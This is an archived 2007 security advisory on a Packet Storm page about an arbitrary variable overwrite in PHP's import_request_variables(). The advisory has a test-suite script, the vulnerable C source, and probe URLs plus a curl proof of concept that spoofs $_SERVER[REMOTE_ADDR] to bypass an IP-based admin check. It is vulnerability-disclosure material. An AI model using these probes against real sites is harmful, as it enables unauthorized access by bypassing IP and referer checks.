the internet's safety

PHP import_request_variables() Arbitrary Variable Overwrite

PHP import_request_variables() Arbitrary Variable Overwrite
Posted Mar 9, 2007
Authored by Stefano Di Paola, Francesco Ongaro | Site wisec.it

PHP versions greater than or equal to 4.0.7 and less than or equal to 5.2.1 suffer from an arbitrary variable overwrite in import_request_variables().

tags | exploit, arbitrary, php
MD5 | 7caa19415b07b0f1e5e2e58ca201d09d

PHP import_request_variables() Arbitrary Variable Overwrite

Change Mirror Download
PHP import_request_variables() arbitrary variable overwrite

Name Using import_request_variables() you can overwrite
$_* and $* (any php variable).
Systems Affected PHP >=4.0.7 <=5.2.1
Severity High
Vendor http://www.php.net/
Advisory http://www.wisec.it/vulns.php?id=10
http://www.wisec.it/vuln_10.txt
Authors Stefano `wisec` di Paola (stefano.dipaola@wisec.it)
Francesco `ascii` Ongaro (ascii@ush.it)
Date 20060307

I. BACKGROUND

PHP is a scripting language. Since in the past PHP enabled by default
GLOBALS programmers wrote applications using this input method, nowadays
the globals on configuration has gone (while still used by many web
hosting companies) and programmers instead rewriting their code wrote
added patches to re implement superglobals their own.

These codes gave developers more troubles than benefits so PHP
developers wrote a function to securely import a part of the whole
"_REQUEST", this function is named import_request_variables() and exists
since PHP 4.0.7.

II. DESCRIPTION

>>From the PHP manual:

[quote]
Imports GET/POST/Cookie variables into the global scope. It is useful if
you disable register_globals, but would like to see some variables in
the global scope.
[/quote]

So import_request_variables() emulate register globals on and is a bit
different from extract().

[quote]
Note: Although the prefix parameter is optional, you will get an
E_NOTICE level error if you specify no prefix, or specify an empty
string as a prefix. This is a possible security hazard. Notice level
errors are not displayed using the default error reporting level.
[/quote]

They warn you about the prefix thing, this is right for two reasons: the
first is that without prefix you have the same problems of globals on (but
it's also true that if you code everything with the prefix you return to
the starting point.

The second is the one explained in this advisory: using the function
import_request_variables() enable people to overwrite the following
arrays: $_GET $_POST $_COOKIE $_FILES $_SERVER $_SESSION and all the
others not mentioned.

We are conducting further investigations on _FILES, it seems possible to
overwrite the array but we are not sure that it could be used to trick
file upload scripts.

Given the specified entry points (the first argument of the function is
a case insensitive string of the input methods that will be imported,
G for GET, P for POST and C for COOKIE) a remote attacker will be able
to overwrite any internal and protected array.

The result is that if you use REGISTER GLOBALS ON you are MUCH MORE safe.

There is a little bonus: as highlighted in the code snippets on the following
ANALYSIS section the P char will enable both POST and FILES entry point
so import_request_variables('GPC') will give a global scope to
everything specified in GET POST COOKIE and FILES.

III. ANALYSIS

import_request_variables() is not new to vulnerabilities: consider this
change log entry for 24 Nov 2005, PHP 5.1.

[quote]
- Fixed potential GLOBALS overwrite via import_request_variables() and
possible crash and/or memory corruption. (Ilia)
[/quote]

Use the following test suite: run the script in a writable directory
inside a document root then point your browser to the test.php files and
make your tests.

--- >8 --- >8 --- >8 --- >8 --- testsuite.sh --- >8 --- >8 --- >8 --- >8

#!/bin/bash

mkdir hack-php_import_request_variables && cd
hack-php_import_request_variables

echo "Testing cli.."

echo "register_globals = Off" > php-ini-globals-off
php -c php-ini-globals-off -r "echo (int)ini_get("register_globals");"

echo "register_globals = On" > php-ini-globals-on
php -c php-ini-globals-on -r "echo (int)ini_get("register_globals");"

echo "Testing mod.."

mkdir globals-on && mkdir globals-off

cat > globals-on/test.php << TOKEN
<pre><?php
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
echo '<h1>GET</h1>'."n"; print_r(\$_GET);
echo '<h1>POST</h1>'."n"; print_r(\$_POST);
echo '<h1>COOKIE</h1>'."n"; print_r(\$_COOKIE);
echo '<h1>SERVER</h1>'."n"; print_r(\$_SERVER);
echo '<h1>SESSION</h1>'."n"; print_r(\$_SESSION);
echo '<h1>FILES</h1>'."n"; print_r(\$_FILES);
?></pre>
TOKEN
cp globals-on/test.php globals-off/test.php

echo "php_value register_globals on" > globals-on/.htaccess
echo "php_value register_globals off" > globals-off/.htaccess

--- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8

Suggested tests are:
- test.php?_SERVER=string (overwrite $_SERVER array and make it a string)
- test.php?_SERVER[REMOTE_ADDR]=bypass client ip validation
- test.php?_SERVER[HTTP_REFERER]=bypass referer validation

Etc.. Add your POST/COOKIE/FILES probes.

The vulnerable code is in the following files:
./ext/standard/basic_functions.c:PHP_FUNCTION(import_request_variables)
./Zend/zend_hash.c:ZEND_API void
zend_hash_apply_with_arguments(HashTable *ht, apply_func_args_t
apply_func, int num_args, ...)

Vulnerable code snippet:

PHP_FUNCTION(import_request_variables) {
[..]
if (prefix_len == 0) {
php_error_docref(NULL TSRMLS_CC, E_NOTICE, "No prefix specified -
possible security hazard");
}
[..]
for (p = types; p && *p; p++) {
switch (*p) {
case 'g': case 'G':
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_GET]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);break;
case 'p': case 'P':
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_POST]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_FILES]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);
break;
case 'c': case 'C':
zend_hash_apply_with_arguments(Z_ARRVAL_P(PG(http_globals)[TRACK_VARS_COOKIE]),
(apply_func_args_t) copy_request_variable, 2, prefix, prefix_len);break;
}
}
[..]
}

As you can see there are different entry points but the "output" is the
global scope.

--- >8 --- >8 --- >8 --- >8 --- example.php --- >8 --- >8 --- >8 --- >8
<?php
echo 'GLOBALS '.(int)ini_get("register_globals")."n";
import_request_variables('GPC');
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
echo 'Hello admin!';
?>
--- >8 --- >8 --- >8 --- >8 --- ----------- --- >8 --- >8 --- >8 --- >8

curl http://URL/example.php?_SERVER[REMOTE_ADDR]=10.1.1.1
Will give you: Hello admin!

Now that this is disclosed probably you would consider this url:
http://www.google.com/codesearch?q=lang%3Aphp+import_request_variables

IV. DETECTION

All the PHP versions >=4.0.7 <=5.2.1 are vulnerable.

V. WORKAROUND

Dunno.

VI. VENDOR RESPONSE

Will fix, probably.

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20060301 Discovery
20060302 Private testing
20060304 Tea time
20060305 Snowboard lesson
20060308 Full disclosure

IX. CREDIT

Stefano di Paola is credited with the discovery of this vulnerability.

X. LEGAL NOTICES

Copyright (c) 2007 Stefano di Paola

Note: this exploit is DOUBLE LICENSED,
1. if you'll use it for personal and non-profit purposes you can
apply GPL v2 and above.

2. In the case you plain to:
a. use our code in any commercial context
b. implement this code in your non-GPL application
c. use this code during a Penetration Test
d. make any profit from it

you need to contact me in order to obtain a _commercial license_.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without my express
written consense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.


--
...oOOo...oOOo....
Stefano Di Paola
Software & Security Engineer

Web: www.wisec.it
..................

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close